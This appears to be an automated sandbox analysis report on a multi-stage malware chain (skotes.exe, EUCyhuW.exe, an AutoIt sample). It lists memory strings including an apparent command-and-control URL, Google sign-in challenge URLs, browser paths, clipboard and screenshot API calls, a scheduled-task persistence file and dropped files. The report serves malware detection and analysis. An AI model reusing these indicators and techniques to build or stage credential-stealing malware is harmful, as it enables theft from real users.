Source: 412ec13ac5.exe, 0000001E.00000003.3551750660.000000000117D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3592146204.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548292393.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: 412ec13ac5.exe, 0000001E.00000003.3438661334.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3596871072.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3452315135.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3480531158.000000000390E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: 412ec13ac5.exe, 0000001E.00000003.3412770399.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548818763.000000000390E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api(
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 580c9354ec.exe, 0000001F.00000003.3627062430.00000000060B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: EUCyhuW.exe, 00000009.00000003.2855580387.0000000003A15000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3382726374.0000000003B9D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3627062430.00000000060B2000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: EUCyhuW.exe, 00000009.00000003.2855580387.0000000003A15000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3382726374.0000000003B9D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3627062430.00000000060B2000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: EUCyhuW.exe, 00000009.00000003.2855580387.0000000003A15000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3382726374.0000000003B9D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3627062430.00000000060B2000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3834740498.000000000BA2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000031.00000002.3493824464.000001D0EF6B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3494265817.000001D0F10A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3492499042.000001D0EF6CD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3493939340.000001D0EF6D2000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000032.00000003.3804628103.000000000177B000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000032.00000003.3808584450.000000000177B000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000032.00000003.3727043148.0000000001577000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000032.00000003.3830810642.000000000177B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000031.00000002.3493824464.000001D0EF6BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: 51ecf08926.exe, 00000021.00000003.3535624044.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3527139592.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3405370218.00000000016DA000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3581429163.00000000016F2000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3587715027.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3490233583.00000000016DA000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000002.3629103561.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdQ

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 9_2_00431160 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

9_2_00431160

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 9_2_00431160 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

9_2_00431160

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 9_2_00431705 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

9_2_00431705

System Summary

Binary is likely a compiled AutoIt script file

Source: 51ecf08926.exe, 00000021.00000000.3354831484.00000000004A2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1d007e67-1
Source: 51ecf08926.exe, 00000021.00000000.3354831484.00000000004A2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_6610fd3f-6
Source: 51ecf08926.exe, 00000032.00000000.3491748335.00000000004A2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_01ad68a9-e
Source: 51ecf08926.exe, 00000032.00000000.3491748335.00000000004A2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_dc7d74f3-7

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 580c9354ec.exe.6.dr	Static PE information: section name:
Source: 580c9354ec.exe.6.dr	Static PE information: section name: .idata
Source: 580c9354ec.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: 9f6ea82062.exe.6.dr	Static PE information: section name:
Source: 9f6ea82062.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: 5936bfa4af.exe.6.dr	Static PE information: section name:
Source: 5936bfa4af.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: .idata
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: a53907268b.exe.6.dr	Static PE information: section name:
Source: a53907268b.exe.6.dr	Static PE information: section name: .idata
Source: a53907268b.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\KrugerPowers
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\GradVitamins
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\ScienceCom
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\FarmingDesignation
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\OmissionsEmerald
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\BaconTicket
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\RenewableProgramme
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	File created: C:\Windows\SodiumLegend

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF78BB	0_2_00EF78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF8860	0_2_00EF8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF7049	0_2_00EF7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF31A8	0_2_00EF31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC7B6E	0_2_00FC7B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB4B30	0_2_00EB4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB4DE0	0_2_00EB4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF2D10	0_2_00EF2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF779B	0_2_00EF779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE7F36	0_2_00EE7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00708860	2_2_00708860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00707049	2_2_00707049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007078BB	2_2_007078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007031A8	2_2_007031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006C4B30	2_2_006C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00702D10	2_2_00702D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006C4DE0	2_2_006C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006F7F36	2_2_006F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0070779B	2_2_0070779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00708860	3_2_00708860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00707049	3_2_00707049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007078BB	3_2_007078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007031A8	3_2_007031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006C4B30	3_2_006C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00702D10	3_2_00702D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006C4DE0	3_2_006C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006F7F36	3_2_006F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0070779B	3_2_0070779B
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00361000	7_2_00361000
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00378741	7_2_00378741
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_0037E930	7_2_0037E930
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_0038BA42	7_2_0038BA42
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00379B40	7_2_00379B40
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00389C73	7_2_00389C73
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00373CDF	7_2_00373CDF
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00361000	9_2_00361000
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00378741	9_2_00378741
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0037E930	9_2_0037E930
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0038BA42	9_2_0038BA42
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00379B40	9_2_00379B40
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00389C73	9_2_00389C73
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00373CDF	9_2_00373CDF
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00436080	9_2_00436080
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042A95E	9_2_0042A95E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00439170	9_2_00439170
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004251C0	9_2_004251C0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042B299	9_2_0042B299
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042BA99	9_2_0042BA99
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00436460	9_2_00436460
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041042D	9_2_0041042D
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0040D4C5	9_2_0040D4C5
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00417496	9_2_00417496
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043B4A3	9_2_0043B4A3
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00421DC5	9_2_00421DC5
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043B6EA	9_2_0043B6EA
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043D690	9_2_0043D690
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043DF40	9_2_0043DF40
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043AF5D	9_2_0043AF5D
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00408760	9_2_00408760
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041FF00	9_2_0041FF00
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00435870	9_2_00435870
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0040A800	9_2_0040A800
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041780D	9_2_0041780D
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00418810	9_2_00418810
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004038D0	9_2_004038D0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004398D0	9_2_004398D0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004088E0	9_2_004088E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004058B0	9_2_004058B0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043D900	9_2_0043D900
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00435124	9_2_00435124
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00409190	9_2_00409190
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041C190	9_2_0041C190
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004061A0	9_2_004061A0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004089B0	9_2_004089B0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00424A40	9_2_00424A40
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00419A60	9_2_00419A60
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042A959	9_2_0042A959
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00433A00	9_2_00433A00
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00421221	9_2_00421221
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004272D2	9_2_004272D2
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00420AD0	9_2_00420AD0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00435AD0	9_2_00435AD0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00404280	9_2_00404280
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00416292	9_2_00416292
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042DB62	9_2_0042DB62
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041CB00	9_2_0041CB00
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00415B32	9_2_00415B32
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043CB30	9_2_0043CB30
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00404BC0	9_2_00404BC0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004263C7	9_2_004263C7
